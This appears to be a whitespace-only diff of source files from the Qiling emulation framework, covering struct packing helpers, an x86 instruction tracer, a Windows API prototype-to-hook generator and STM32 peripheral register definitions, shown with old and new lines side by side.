self._fmt32 = f'{modifier}I'
|
||||
self._fmt32s = f'{modifier}i'
|
||||
self._fmt64 = f'{modifier}Q'
|
||||
self._fmt64s = f'{modifier}q'
|
||||
|
||||
handlers = {
|
||||
64 : (self.pack64, self.pack64s, self.unpack64, self.unpack64s),
|
||||
32 : (self.pack32, self.pack32s, self.unpack32, self.unpack32s),
|
||||
16 : (self.pack16, self.pack16s, self.unpack16, self.unpack16s),
|
||||
}
|
||||
handlers = {
|
||||
64 : (self.pack64, self.pack64s, self.unpack64, self.unpack64s),
|
||||
32 : (self.pack32, self.pack32s, self.unpack32, self.unpack32s),
|
||||
16 : (self.pack16, self.pack16s, self.unpack16, self.unpack16s),
|
||||
}
|
||||
|
||||
if bit not in handlers:
|
||||
raise QlErrorStructConversion("Unsupported Qiling struct conversion")
|
||||
if bit not in handlers:
|
||||
raise QlErrorStructConversion("Unsupported Qiling struct conversion")
|
||||
|
||||
p, ps, up, ups = handlers[bit]
|
||||
p, ps, up, ups = handlers[bit]
|
||||
|
||||
self.pack = p
|
||||
self.packs = ps
|
||||
self.unpack = up
|
||||
self.unpacks = ups
|
||||
self.pack = p
|
||||
self.packs = ps
|
||||
self.unpack = up
|
||||
self.unpacks = ups
|
||||
|
||||
def pack64(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt64, x)
|
||||
def pack64(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt64, x)
|
||||
|
||||
def pack64s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt64s, x)
|
||||
def pack64s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt64s, x)
|
||||
|
||||
def unpack64(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt64, x)[0]
|
||||
def unpack64(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt64, x)[0]
|
||||
|
||||
def unpack64s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt64s, x)[0]
|
||||
def unpack64s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt64s, x)[0]
|
||||
|
||||
def pack32(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt32, x)
|
||||
def pack32(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt32, x)
|
||||
|
||||
def pack32s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt32s, x)
|
||||
def pack32s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt32s, x)
|
||||
|
||||
def unpack32(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt32, x)[0]
|
||||
def unpack32(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt32, x)[0]
|
||||
|
||||
def unpack32s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt32s, x)[0]
|
||||
def unpack32s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt32s, x)[0]
|
||||
|
||||
def pack16(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt16, x)
|
||||
def pack16(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt16, x)
|
||||
|
||||
def pack16s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt16s, x)
|
||||
def pack16s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt16s, x)
|
||||
|
||||
def unpack16(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt16, x)[0]
|
||||
def unpack16(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt16, x)[0]
|
||||
|
||||
def unpack16s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt16s, x)[0]
|
||||
def unpack16s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt16s, x)[0]
|
||||
|
||||
def pack8(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt8, x)
|
||||
def pack8(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt8, x)
|
||||
|
||||
def pack8s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt8s, x)
|
||||
def pack8s(self, x: int, /) -> bytes:
|
||||
return struct.pack(self._fmt8s, x)
|
||||
|
||||
def unpack8(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt8, x)[0]
|
||||
def unpack8(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt8, x)[0]
|
||||
|
||||
def unpack8s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt8s, x)[0]
|
||||
def unpack8s(self, x: ReadableBuffer, /) -> int:
|
||||
return struct.unpack(self._fmt8s, x)[0]
|
||||
|
||||
+147
-147
@@ -15,216 +15,216 @@ TraceRecord = Tuple[CsInsn, Iterable[Tuple[int, int]]]
|
||||
|
||||
# <WORKAROUND>
|
||||
def __uc2_workaround() -> Mapping[int, int]:
|
||||
"""Starting from Unicorn2, Unicorn and Capstone Intel registers definitions are
|
||||
no longer aligned and cannot be used interchangebly. This temporary workaround
|
||||
maps capstone x86 registers definitions to unicorn x86 registers definitions.
|
||||
"""Starting from Unicorn2, Unicorn and Capstone Intel registers definitions are
|
||||
no longer aligned and cannot be used interchangebly. This temporary workaround
|
||||
maps capstone x86 registers definitions to unicorn x86 registers definitions.
|
||||
|
||||
see: https://github.com/unicorn-engine/unicorn/issues/1492
|
||||
"""
|
||||
see: https://github.com/unicorn-engine/unicorn/issues/1492
|
||||
"""
|
||||
|
||||
from capstone import x86_const as cs_x86_const
|
||||
from unicorn import x86_const as uc_x86_const
|
||||
from capstone import x86_const as cs_x86_const
|
||||
from unicorn import x86_const as uc_x86_const
|
||||
|
||||
def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]:
|
||||
return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix))
|
||||
def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]:
|
||||
return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix))
|
||||
|
||||
cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG')
|
||||
uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG')
|
||||
cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG')
|
||||
uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG')
|
||||
|
||||
return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs)
|
||||
return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs)
|
||||
|
||||
CS_UC_REGS = __uc2_workaround()
|
||||
# </WORKAROUND>
|
||||
|
||||
def __get_trace_records(ql: Qiling, address: int, size: int, md: Cs) -> Iterator[TraceRecord]:
|
||||
"""[private] Acquire trace info for the current instruction and yield as a trace record.
|
||||
A trace record is a parsed instruction paired to a list of registers and their values.
|
||||
"""[private] Acquire trace info for the current instruction and yield as a trace record.
|
||||
A trace record is a parsed instruction paired to a list of registers and their values.
|
||||
|
||||
This method might yield more than one record for a single instruction.
|
||||
"""
|
||||
This method might yield more than one record for a single instruction.
|
||||
"""
|
||||
|
||||
# unicorn denotes unsupported instructions by a magic size value. though these instructions
|
||||
# are not emulated, capstone can still parse them.
|
||||
if size == 0xf1f1f1f1:
|
||||
# note that invalid instructions will generate a StopIteration exception here
|
||||
yield next(__get_trace_records(ql, address, 16, md))
|
||||
return
|
||||
# unicorn denotes unsupported instructions by a magic size value. though these instructions
|
||||
# are not emulated, capstone can still parse them.
|
||||
if size == 0xf1f1f1f1:
|
||||
# note that invalid instructions will generate a StopIteration exception here
|
||||
yield next(__get_trace_records(ql, address, 16, md))
|
||||
return
|
||||
|
||||
# a trace line is generated even for hook addresses that do not contain meaningful opcodes.
|
||||
# in that case, make it look like a nop
|
||||
if address in ql._addr_hook:
|
||||
buf = b'\x90'
|
||||
else:
|
||||
buf = ql.mem.read(address, size)
|
||||
# a trace line is generated even for hook addresses that do not contain meaningful opcodes.
|
||||
# in that case, make it look like a nop
|
||||
if address in ql._addr_hook:
|
||||
buf = b'\x90'
|
||||
else:
|
||||
buf = ql.mem.read(address, size)
|
||||
|
||||
for insn in md.disasm(buf, address):
|
||||
# BUG: insn.regs_read doesn't work well, so we use insn.regs_access()[0]
|
||||
state = tuple((reg, ql.arch.regs.read(CS_UC_REGS[reg])) for reg in insn.regs_access()[0])
|
||||
for insn in md.disasm(buf, address):
|
||||
# BUG: insn.regs_read doesn't work well, so we use insn.regs_access()[0]
|
||||
state = tuple((reg, ql.arch.regs.read(CS_UC_REGS[reg])) for reg in insn.regs_access()[0])
|
||||
|
||||
yield (insn, state)
|
||||
yield (insn, state)
|
||||
|
||||
def __to_trace_line(record: TraceRecord, symsmap: Mapping[int, str] = {}) -> str:
|
||||
"""[private] Transform trace info into a formatted trace line.
|
||||
"""
|
||||
"""[private] Transform trace info into a formatted trace line.
|
||||
"""
|
||||
|
||||
insn, state = record
|
||||
insn, state = record
|
||||
|
||||
# when the rip register is referenced from within an instruction it is expected to point
|
||||
# to the next instruction boundary. since unicorn has not executed the instruction yet
|
||||
# is uses the cpu state resulted from the previous instruction - and rip points to the
|
||||
# current instruction instead of the next one.
|
||||
#
|
||||
# here we patch rip value recorded in state to point to the next instruction boundary
|
||||
state = tuple((reg, val + insn.size if reg == X86_REG_RIP else val) for reg, val in state)
|
||||
# when the rip register is referenced from within an instruction it is expected to point
|
||||
# to the next instruction boundary. since unicorn has not executed the instruction yet
|
||||
# is uses the cpu state resulted from the previous instruction - and rip points to the
|
||||
# current instruction instead of the next one.
|
||||
#
|
||||
# here we patch rip value recorded in state to point to the next instruction boundary
|
||||
state = tuple((reg, val + insn.size if reg == X86_REG_RIP else val) for reg, val in state)
|
||||
|
||||
def __read_reg(reg: int) -> int:
|
||||
"""[internal] Read a register value from the recorded state. Only registers that were
|
||||
referenced by the current instruction can be read.
|
||||
"""
|
||||
def __read_reg(reg: int) -> int:
|
||||
"""[internal] Read a register value from the recorded state. Only registers that were
|
||||
referenced by the current instruction can be read.
|
||||
"""
|
||||
|
||||
return 0 if reg == X86_REG_INVALID else next(v for r, v in state if r == reg)
|
||||
return 0 if reg == X86_REG_INVALID else next(v for r, v in state if r == reg)
|
||||
|
||||
def __resolve(address: int) -> str:
|
||||
"""[internal] Find the symbol that matches to the specified address (if any).
|
||||
"""
|
||||
def __resolve(address: int) -> str:
|
||||
"""[internal] Find the symbol that matches to the specified address (if any).
|
||||
"""
|
||||
|
||||
return symsmap.get(address, '')
|
||||
return symsmap.get(address, '')
|
||||
|
||||
def __parse_op(op: X86Op) -> str:
|
||||
"""[internal] Parse an operand and return its string representation. Indirect memory
|
||||
references will be substitued by the effective address they refer to. If the referenced
|
||||
address is associated with a symbol, it will be substitued by that symbol.
|
||||
"""
|
||||
def __parse_op(op: X86Op) -> str:
|
||||
"""[internal] Parse an operand and return its string representation. Indirect memory
|
||||
references will be substitued by the effective address they refer to. If the referenced
|
||||
address is associated with a symbol, it will be substitued by that symbol.
|
||||
"""
|
||||
|
||||
if op.type == CS_OP_REG:
|
||||
return insn.reg_name(op.value.reg) or '?'
|
||||
if op.type == CS_OP_REG:
|
||||
return insn.reg_name(op.value.reg) or '?'
|
||||
|
||||
elif op.type == CS_OP_IMM:
|
||||
imm = op.value.imm
|
||||
elif op.type == CS_OP_IMM:
|
||||
imm = op.value.imm
|
||||
|
||||
return __resolve(imm) or f'{imm:#x}'
|
||||
return __resolve(imm) or f'{imm:#x}'
|
||||
|
||||
elif op.type == CS_OP_MEM:
|
||||
mem = op.value.mem
|
||||
elif op.type == CS_OP_MEM:
|
||||
mem = op.value.mem
|
||||
|
||||
base = __read_reg(mem.base)
|
||||
index = __read_reg(mem.index)
|
||||
scale = mem.scale
|
||||
disp = mem.disp
|
||||
base = __read_reg(mem.base)
|
||||
index = __read_reg(mem.index)
|
||||
scale = mem.scale
|
||||
disp = mem.disp
|
||||
|
||||
ea = base + index * scale + disp
|
||||
seg = f'{insn.reg_name(mem.segment)}:' if mem.segment else ''
|
||||
ea = base + index * scale + disp
|
||||
seg = f'{insn.reg_name(mem.segment)}:' if mem.segment else ''
|
||||
|
||||
# we construct the string representation for each operand; denote memory
|
||||
# dereferenes with the appropriate 'ptr' prefix. the 'lea' instruction is
|
||||
# an exception since it does not use that notation.
|
||||
if insn.id == X86_INS_LEA:
|
||||
qualifier = f''
|
||||
else:
|
||||
ptr = {
|
||||
1: 'byte',
|
||||
2: 'word',
|
||||
4: 'dword',
|
||||
8: 'qword',
|
||||
10: 'fword',
|
||||
16: 'xmmword'
|
||||
}[op.size]
|
||||
# we construct the string representation for each operand; denote memory
|
||||
# dereferenes with the appropriate 'ptr' prefix. the 'lea' instruction is
|
||||
# an exception since it does not use that notation.
|
||||
if insn.id == X86_INS_LEA:
|
||||
qualifier = f''
|
||||
else:
|
||||
ptr = {
|
||||
1: 'byte',
|
||||
2: 'word',
|
||||
4: 'dword',
|
||||
8: 'qword',
|
||||
10: 'fword',
|
||||
16: 'xmmword'
|
||||
}[op.size]
|
||||
|
||||
qualifier = f'{ptr} ptr '
|
||||
qualifier = f'{ptr} ptr '
|
||||
|
||||
return f'{qualifier}{seg}[{__resolve(ea) or f"{ea:#x}"}]'
|
||||
return f'{qualifier}{seg}[{__resolve(ea) or f"{ea:#x}"}]'
|
||||
|
||||
# unexpected op type
|
||||
raise RuntimeError
|
||||
# unexpected op type
|
||||
raise RuntimeError
|
||||
|
||||
operands = ', '.join(__parse_op(o) for o in insn.operands)
|
||||
reads = ', '.join(f'{insn.reg_name(reg)} = {val:#x}' for reg, val in state)
|
||||
operands = ', '.join(__parse_op(o) for o in insn.operands)
|
||||
reads = ', '.join(f'{insn.reg_name(reg)} = {val:#x}' for reg, val in state)
|
||||
|
||||
return f'{insn.address:08x} | {insn.bytes.hex():24s} {insn.mnemonic:10} {operands:56s} | {reads}'
|
||||
return f'{insn.address:08x} | {insn.bytes.hex():24s} {insn.mnemonic:10} {operands:56s} | {reads}'
|
||||
|
||||
def enable_full_trace(ql: Qiling):
|
||||
"""Enable instruction-level tracing.
|
||||
"""Enable instruction-level tracing.
|
||||
|
||||
Trace line will be emitted for each instruction before it gets executed. The info
|
||||
includes static data along with the relevant registers state and symbols resolving.
|
||||
Trace line will be emitted for each instruction before it gets executed. The info
|
||||
includes static data along with the relevant registers state and symbols resolving.
|
||||
|
||||
Args:
|
||||
ql: qiling instance
|
||||
"""
|
||||
Args:
|
||||
ql: qiling instance
|
||||
"""
|
||||
|
||||
# enable detailed disassembly info
|
||||
md = ql.arch.disassembler
|
||||
md.detail = True
|
||||
# enable detailed disassembly info
|
||||
md = ql.arch.disassembler
|
||||
md.detail = True
|
||||
|
||||
assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
|
||||
assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
|
||||
|
||||
# if available, use symbols map to resolve memory accesses
|
||||
symsmap = getattr(ql.loader, 'symsmap', {})
|
||||
# if available, use symbols map to resolve memory accesses
|
||||
symsmap = getattr(ql.loader, 'symsmap', {})
|
||||
|
||||
# show trace lines in a darker color so they would be easily distinguished from
|
||||
# ordinary log records
|
||||
faded_color = "\033[2m"
|
||||
reset_color = "\033[0m"
|
||||
# show trace lines in a darker color so they would be easily distinguished from
|
||||
# ordinary log records
|
||||
faded_color = "\033[2m"
|
||||
reset_color = "\033[0m"
|
||||
|
||||
def __trace_hook(ql: Qiling, address: int, size: int):
|
||||
"""[internal] Trace hook callback.
|
||||
"""
|
||||
def __trace_hook(ql: Qiling, address: int, size: int):
|
||||
"""[internal] Trace hook callback.
|
||||
"""
|
||||
|
||||
for record in __get_trace_records(ql, address, size, md):
|
||||
line = __to_trace_line(record, symsmap)
|
||||
for record in __get_trace_records(ql, address, size, md):
|
||||
line = __to_trace_line(record, symsmap)
|
||||
|
||||
ql.log.debug(f'{faded_color}{line}{reset_color}')
|
||||
ql.log.debug(f'{faded_color}{line}{reset_color}')
|
||||
|
||||
ql.hook_code(__trace_hook)
|
||||
ql.hook_code(__trace_hook)
|
||||
|
||||
def enable_history_trace(ql: Qiling, nrecords: int):
|
||||
"""Enable instruction-level tracing in history mode.
|
||||
"""Enable instruction-level tracing in history mode.
|
||||
|
||||
To allow faster execution, the trace info collected throughout program execution is not
|
||||
emitted and undergo as minimal post-processing as possible. When program crahses, the
|
||||
last `nrecords` trace lines are shown.
|
||||
To allow faster execution, the trace info collected throughout program execution is not
|
||||
emitted and undergo as minimal post-processing as possible. When program crahses, the
|
||||
last `nrecords` trace lines are shown.
|
||||
|
||||
Args:
|
||||
ql: qiling instance
|
||||
nrecords: number of last records to show
|
||||
"""
|
||||
Args:
|
||||
ql: qiling instance
|
||||
nrecords: number of last records to show
|
||||
"""
|
||||
|
||||
# enable detailed disassembly info
|
||||
md = ql.arch.disassembler
|
||||
md.detail = True
|
||||
# enable detailed disassembly info
|
||||
md = ql.arch.disassembler
|
||||
md.detail = True
|
||||
|
||||
assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
|
||||
assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
|
||||
|
||||
# if available, use symbols map to resolve memory accesses
|
||||
symsmap = getattr(ql.loader, 'symsmap', {})
|
||||
# if available, use symbols map to resolve memory accesses
|
||||
symsmap = getattr(ql.loader, 'symsmap', {})
|
||||
|
||||
history: Deque[TraceRecord] = deque(maxlen=nrecords)
|
||||
history: Deque[TraceRecord] = deque(maxlen=nrecords)
|
||||
|
||||
def __trace_hook(ql: Qiling, address: int, size: int):
|
||||
"""[internal] Trace hook callback.
|
||||
"""
|
||||
def __trace_hook(ql: Qiling, address: int, size: int):
|
||||
"""[internal] Trace hook callback.
|
||||
"""
|
||||
|
||||
history.extend(__get_trace_records(ql, address, size, md))
|
||||
history.extend(__get_trace_records(ql, address, size, md))
|
||||
|
||||
ql.hook_code(__trace_hook)
|
||||
ql.hook_code(__trace_hook)
|
||||
|
||||
# replace the emulation error handler with our own so we can emit the trace
|
||||
# records when program crashes. before we do that, we save the original one
|
||||
# so we can call it.
|
||||
# replace the emulation error handler with our own so we can emit the trace
|
||||
# records when program crashes. before we do that, we save the original one
|
||||
# so we can call it.
|
||||
|
||||
orig_emu_error = ql.os.emu_error
|
||||
orig_emu_error = ql.os.emu_error
|
||||
|
||||
def __emu_error(*args):
|
||||
# first run the original emulation error handler
|
||||
orig_emu_error(*args)
|
||||
def __emu_error(*args):
|
||||
# first run the original emulation error handler
|
||||
orig_emu_error(*args)
|
||||
|
||||
# then parse and emit the trace info we collected
|
||||
ql.log.error(f'History:')
|
||||
for record in history:
|
||||
line = __to_trace_line(record, symsmap)
|
||||
# then parse and emit the trace info we collected
|
||||
ql.log.error(f'History:')
|
||||
for record in history:
|
||||
line = __to_trace_line(record, symsmap)
|
||||
|
||||
ql.log.error(line)
|
||||
ql.log.error(line)
|
||||
|
||||
ql.log.error(f'')
|
||||
ql.log.error(f'')
|
||||
|
||||
ql.os.emu_error = __emu_error
|
||||
ql.os.emu_error = __emu_error
|
||||
|
||||
@@ -25,132 +25,132 @@ FuncArgs = Sequence[Tuple[str, str]]
|
||||
FuncDecl = Tuple[FuncType, FuncName, FuncArgs]
|
||||
|
||||
def parse_json(jfile: TextIO) -> Sequence[FuncDecl]:
|
||||
JObj = Mapping[str, Any]
|
||||
JObj = Mapping[str, Any]
|
||||
|
||||
def __parse_param(arg: JObj) -> Tuple[str, str]:
|
||||
ptrlvl = 0
|
||||
def __parse_param(arg: JObj) -> Tuple[str, str]:
|
||||
ptrlvl = 0
|
||||
|
||||
while type(arg['type']) is dict and 'type' in arg['type']:
|
||||
arg = arg['type']
|
||||
ptrlvl += 1
|
||||
while type(arg['type']) is dict and 'type' in arg['type']:
|
||||
arg = arg['type']
|
||||
ptrlvl += 1
|
||||
|
||||
aname = arg.get('name', '')
|
||||
atype = arg['type']
|
||||
aname = arg.get('name', '')
|
||||
atype = arg['type']
|
||||
|
||||
if arg.get('data_type') == 'Ptr':
|
||||
ptrlvl += 1
|
||||
if arg.get('data_type') == 'Ptr':
|
||||
ptrlvl += 1
|
||||
|
||||
if type(atype) is dict:
|
||||
if atype['data_type'] == 'Struct':
|
||||
atype = atype['name']
|
||||
if type(atype) is dict:
|
||||
if atype['data_type'] == 'Struct':
|
||||
atype = atype['name']
|
||||
|
||||
elif atype['data_type'] == 'Enum':
|
||||
# BUG: windows_sdk_data repo doesn't specify the name of the enum
|
||||
atype = 'enum?'
|
||||
elif atype['data_type'] == 'Enum':
|
||||
# BUG: windows_sdk_data repo doesn't specify the name of the enum
|
||||
atype = 'enum?'
|
||||
|
||||
else:
|
||||
raise RuntimeError(f'unexpected data_type (atype = {atype})')
|
||||
else:
|
||||
raise RuntimeError(f'unexpected data_type (atype = {atype})')
|
||||
|
||||
return (aname, atype + '*' * ptrlvl)
|
||||
return (aname, atype + '*' * ptrlvl)
|
||||
|
||||
def __parse_args(args: Sequence[JObj]):
|
||||
upidx = 1
|
||||
def __parse_args(args: Sequence[JObj]):
|
||||
upidx = 1
|
||||
|
||||
for a in args:
|
||||
aname, atype = __parse_param(a)
|
||||
for a in args:
|
||||
aname, atype = __parse_param(a)
|
||||
|
||||
if not aname:
|
||||
if atype == 'void':
|
||||
assert len(args) == 1
|
||||
continue
|
||||
if not aname:
|
||||
if atype == 'void':
|
||||
assert len(args) == 1
|
||||
continue
|
||||
|
||||
aname = f'unnamedParam{upidx}'
|
||||
upidx += 1
|
||||
aname = f'unnamedParam{upidx}'
|
||||
upidx += 1
|
||||
|
||||
yield (aname, atype)
|
||||
yield (aname, atype)
|
||||
|
||||
decls = json.load(jfile)
|
||||
decls = json.load(jfile)
|
||||
|
||||
def __parse_decls(decls: Sequence):
|
||||
for decl in decls:
|
||||
# pick up only function declarations
|
||||
if decl.get('data_type') == 'FuncDecl':
|
||||
ftype = decl['type']
|
||||
fname = decl['name']
|
||||
fargs = decl['arguments']
|
||||
# loc = 'api_locations'
|
||||
def __parse_decls(decls: Sequence):
|
||||
for decl in decls:
|
||||
# pick up only function declarations
|
||||
if decl.get('data_type') == 'FuncDecl':
|
||||
ftype = decl['type']
|
||||
fname = decl['name']
|
||||
fargs = decl['arguments']
|
||||
# loc = 'api_locations'
|
||||
|
||||
func_type = __parse_param(ftype)
|
||||
func_name = fname
|
||||
func_args = tuple(__parse_args(fargs))
|
||||
func_type = __parse_param(ftype)
|
||||
func_name = fname
|
||||
func_args = tuple(__parse_args(fargs))
|
||||
|
||||
assert func_type[0] == fname, 'function name is inconsistent with its return type declaration'
|
||||
assert func_type[0] == fname, 'function name is inconsistent with its return type declaration'
|
||||
|
||||
yield (func_type[1], func_name, func_args)
|
||||
yield (func_type[1], func_name, func_args)
|
||||
|
||||
if type(decls) is not list:
|
||||
return tuple()
|
||||
if type(decls) is not list:
|
||||
return tuple()
|
||||
|
||||
return tuple(__parse_decls(decls))
|
||||
return tuple(__parse_decls(decls))
|
||||
|
||||
def dump_py(decls: Sequence[FuncDecl], cc: str) -> Iterable[str]:
|
||||
print(f'')
|
||||
print(f'from qiling import Qiling')
|
||||
print(f'from qiling.os.windows.api import *')
|
||||
print(f'from qiling.os.windows.fncc import *')
|
||||
print(f'')
|
||||
print(f'')
|
||||
print(f'from qiling import Qiling')
|
||||
print(f'from qiling.os.windows.api import *')
|
||||
print(f'from qiling.os.windows.fncc import *')
|
||||
print(f'')
|
||||
|
||||
indent: Final[str] = ' ' * 4
|
||||
indent: Final[str] = ' ' * 4
|
||||
|
||||
def __patch_name(aname: str) -> str:
|
||||
# merely a placeholder: nothing here yet
|
||||
return aname
|
||||
def __patch_name(aname: str) -> str:
|
||||
# merely a placeholder: nothing here yet
|
||||
return aname
|
||||
|
||||
def __patch_type(atype: str) -> str:
|
||||
return 'POINTER' if atype.endswith('*') else atype
|
||||
def __patch_type(atype: str) -> str:
|
||||
return 'POINTER' if atype.endswith('*') else atype
|
||||
|
||||
for ftype, fname, fargs in decls:
|
||||
if fargs:
|
||||
names = [__patch_name(a[0]) for a in fargs]
|
||||
types = [__patch_type(a[1]) for a in fargs]
|
||||
for ftype, fname, fargs in decls:
|
||||
if fargs:
|
||||
names = [__patch_name(a[0]) for a in fargs]
|
||||
types = [__patch_type(a[1]) for a in fargs]
|
||||
|
||||
longest = max(len(n) for n in names)
|
||||
longest = max(len(n) for n in names)
|
||||
|
||||
args = ',\n'.join(f"{indent}'{n}'{' ' * (longest - len(n))} : {t}" for n, t in zip(names, types))
|
||||
args = f'\n{args}\n'
|
||||
else:
|
||||
args = ''
|
||||
args = ',\n'.join(f"{indent}'{n}'{' ' * (longest - len(n))} : {t}" for n, t in zip(names, types))
|
||||
args = f'\n{args}\n'
|
||||
else:
|
||||
args = ''
|
||||
|
||||
decor = f'@winsdkapi(cc={cc}, params={{{args}}})'
|
||||
proto = f'def hook_{fname}(ql: Qiling, address: int, params):'
|
||||
body = f'{indent}pass'
|
||||
decor = f'@winsdkapi(cc={cc}, params={{{args}}})'
|
||||
proto = f'def hook_{fname}(ql: Qiling, address: int, params):'
|
||||
body = f'{indent}pass'
|
||||
|
||||
# TODO: specify return type (ftype) as a comment, or None for a 'void'
|
||||
# TODO: specify return type (ftype) as a comment, or None for a 'void'
|
||||
|
||||
yield f'{decor}\n{proto}\n{body}\n'
|
||||
yield f'{decor}\n{proto}\n{body}\n'
|
||||
|
||||
def dump_c(decls: Sequence[FuncDecl], cc: str) -> Iterable[str]:
|
||||
# use a dimmed color for data types
|
||||
def __dim(s: str) -> str:
|
||||
return f'\x1b[90m{s}\x1b[39m'
|
||||
# use a dimmed color for data types
|
||||
def __dim(s: str) -> str:
|
||||
return f'\x1b[90m{s}\x1b[39m'
|
||||
|
||||
for ftype, fname, fargs in decls:
|
||||
yield f'{__dim(ftype)} {fname} ({", ".join(f"{__dim(a[1])} {a[0]}" for a in fargs)});'
|
||||
for ftype, fname, fargs in decls:
|
||||
yield f'{__dim(ftype)} {fname} ({", ".join(f"{__dim(a[1])} {a[0]}" for a in fargs)});'
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('format', choices=('c', 'py-cdecl', 'py-stdcall'), help='Declarations output format')
|
||||
parser.add_argument('jfiles', metavar='jsonfile', nargs='+', help='JSON file(s) containing API prototypes')
|
||||
args = parser.parse_args()
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('format', choices=('c', 'py-cdecl', 'py-stdcall'), help='Declarations output format')
|
||||
parser.add_argument('jfiles', metavar='jsonfile', nargs='+', help='JSON file(s) containing API prototypes')
|
||||
args = parser.parse_args()
|
||||
|
||||
fmt, _, cc = args.format.partition('-')
|
||||
fmt, _, cc = args.format.partition('-')
|
||||
|
||||
handler: Callable = {
|
||||
'c' : dump_c,
|
||||
'py' : dump_py
|
||||
}[fmt]
|
||||
handler: Callable = {
|
||||
'c' : dump_c,
|
||||
'py' : dump_py
|
||||
}[fmt]
|
||||
|
||||
for filename in args.jfiles:
|
||||
with open(filename, 'r') as jfile:
|
||||
for decl in handler(parse_json(jfile), cc):
|
||||
print(decl)
|
||||
for filename in args.jfiles:
|
||||
with open(filename, 'r') as jfile:
|
||||
for decl in handler(parse_json(jfile), cc):
|
||||
print(decl)
|
||||
|
||||
@@ -106,7 +106,7 @@ class SAM3xaUotghs(QlConnectivityPeripheral):
|
||||
self.intn = intn
|
||||
|
||||
@QlPeripheral.monitor()
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
|
||||
return int.from_bytes(buf.raw, byteorder='little')
|
||||
|
||||
@@ -12,40 +12,40 @@ from qiling.hw.const.stm32f4xx_usart import USART_SR, USART_CR1
|
||||
class STM32F4xxUsart(QlConnectivityPeripheral):
|
||||
class Type(ctypes.Structure):
|
||||
""" the structure available in :
|
||||
stm32f413xx.h
|
||||
stm32f407xx.h
|
||||
stm32f469xx.h
|
||||
stm32f446xx.h
|
||||
stm32f427xx.h
|
||||
stm32f401xc.h
|
||||
stm32f415xx.h
|
||||
stm32f412cx.h
|
||||
stm32f410rx.h
|
||||
stm32f410tx.h
|
||||
stm32f439xx.h
|
||||
stm32f412vx.h
|
||||
stm32f417xx.h
|
||||
stm32f479xx.h
|
||||
stm32f429xx.h
|
||||
stm32f412rx.h
|
||||
stm32f423xx.h
|
||||
stm32f437xx.h
|
||||
stm32f412zx.h
|
||||
stm32f401xe.h
|
||||
stm32f410cx.h
|
||||
stm32f405xx.h
|
||||
stm32f411xe.h
|
||||
"""
|
||||
stm32f413xx.h
|
||||
stm32f407xx.h
|
||||
stm32f469xx.h
|
||||
stm32f446xx.h
|
||||
stm32f427xx.h
|
||||
stm32f401xc.h
|
||||
stm32f415xx.h
|
||||
stm32f412cx.h
|
||||
stm32f410rx.h
|
||||
stm32f410tx.h
|
||||
stm32f439xx.h
|
||||
stm32f412vx.h
|
||||
stm32f417xx.h
|
||||
stm32f479xx.h
|
||||
stm32f429xx.h
|
||||
stm32f412rx.h
|
||||
stm32f423xx.h
|
||||
stm32f437xx.h
|
||||
stm32f412zx.h
|
||||
stm32f401xe.h
|
||||
stm32f410cx.h
|
||||
stm32f405xx.h
|
||||
stm32f411xe.h
|
||||
"""
|
||||
|
||||
_fields_ = [
|
||||
('SR' , ctypes.c_uint32), # USART Status register, Address offset: 0x00
|
||||
('DR' , ctypes.c_uint32), # USART Data register, Address offset: 0x04
|
||||
